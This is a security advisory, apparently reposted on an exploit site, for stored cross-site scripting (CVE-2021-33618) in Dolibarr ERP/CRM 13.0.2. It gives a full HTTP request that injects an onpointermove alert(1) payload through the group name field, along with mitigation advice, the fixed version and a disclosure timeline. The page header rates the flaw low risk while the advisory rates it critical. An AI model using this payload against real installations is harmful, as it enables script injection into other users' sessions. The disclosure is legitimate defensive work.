Dolibarr ERP / CRM 13.0.2 Cross Site Scripting

2021.11.11
Credit: Nick Decker
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

# Trovent Security Advisory 2105-02 # ##################################### Stored cross-site scripting in Dolibarr ERP & CRM ################################################# Overview ######## Advisory ID: TRSA-2105-02 Advisory version: 1.0 Advisory status: Public Advisory URL: https://trovent.io/security-advisory-2105-02 Affected product: Dolibarr ERP & CRM Tested versions: Dolibarr 13.0.2 Vendor: Dolibarr foundation, https://www.dolibarr.org Credits: Trovent Security GmbH, Nick Decker Detailed description #################### Trovent Security GmbH discovered that the Dolibarr application does not escape "greater than" and "smaller than" characters if they are reflected in one of the small pop-up windows with details of the object. This allows an attacker to add certain custom HTML tags and attributes. In our PoC we used a "body" tag in conjunction with an "onpointermove" attribute to achieve constant execution of the inserted JavaScript code. Severity: Critical CVSS Score: 9.0 (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H) CWE ID: CWE-79 CVE ID: CVE-2021-33618 Proof of concept ################ This is the HTTP request to change the group name: REQUEST: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ POST /user/group/card.php HTTP/1.1 Host: 10.11.9.80 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 -securitytest-for-dolibarr Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------329097076628264922392755475836 Content-Length: 950 Origin: http://10.11.9.80 Connection: close Referer: http://10.11.9.80/user/group/card.php?id=1&action=edit&token=4726524fe505b027519a535e08c11fb6 Cookie: PHPSESSID=8s2jl8fhmbm5th8r4baasak1q2; DOLSESSID_736206a821984837877b8a6a901910d2=4jkf7smp24evfm3vvnnunj8jaq Upgrade-Insecure-Requests: 1 - -----------------------------329097076628264922392755475836 Content-Disposition: form-data; name="token" 6585d0838337cafddc3387fcccbe9d91 - -----------------------------329097076628264922392755475836 Content-Disposition: form-data; name="action" update - -----------------------------329097076628264922392755475836 Content-Disposition: form-data; name="backtopage" /user/group/card.php?id=1 - -----------------------------329097076628264922392755475836 Content-Disposition: form-data; name="id" 1 - -----------------------------329097076628264922392755475836 Content-Disposition: form-data; name="nom" Trovent<<body onpointermove=alert(1) <>test - -----------------------------329097076628264922392755475836 Content-Disposition: form-data; name="note" - -----------------------------329097076628264922392755475836 Content-Disposition: form-data; name="save" Save - -----------------------------329097076628264922392755475836-- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ CODE: The HTML code of the site then includes the attribute in its body tag: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ <body id="mainbody" class="sidebar-collapse" <="" onpointermove="alert(1)" style="margin-bottom: 26px;"> <!-- Start top horizontal --> <div class="side-nav-vert"><div id="id-top"><div id="tmenu_tooltip" class="tmenu"> [...] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution / Workaround ##################### To mitigate this vulnerability, we recommend to always escape the user input regardless of where it is reflected. Additionally we recommend to blacklist all HTML tags and attributes. Fixed in Dolibarr version 14.0.0, verified by Trovent. History ####### 2021-05-25: Vulnerability found 2021-05-28: CVE ID requested & received 2021-05-31: Vendor contacted 2021-06-02: Vendor reported the vulnerability as fixed 2021-11-08: Add information about fixed version 2021-11-10: Advisory published


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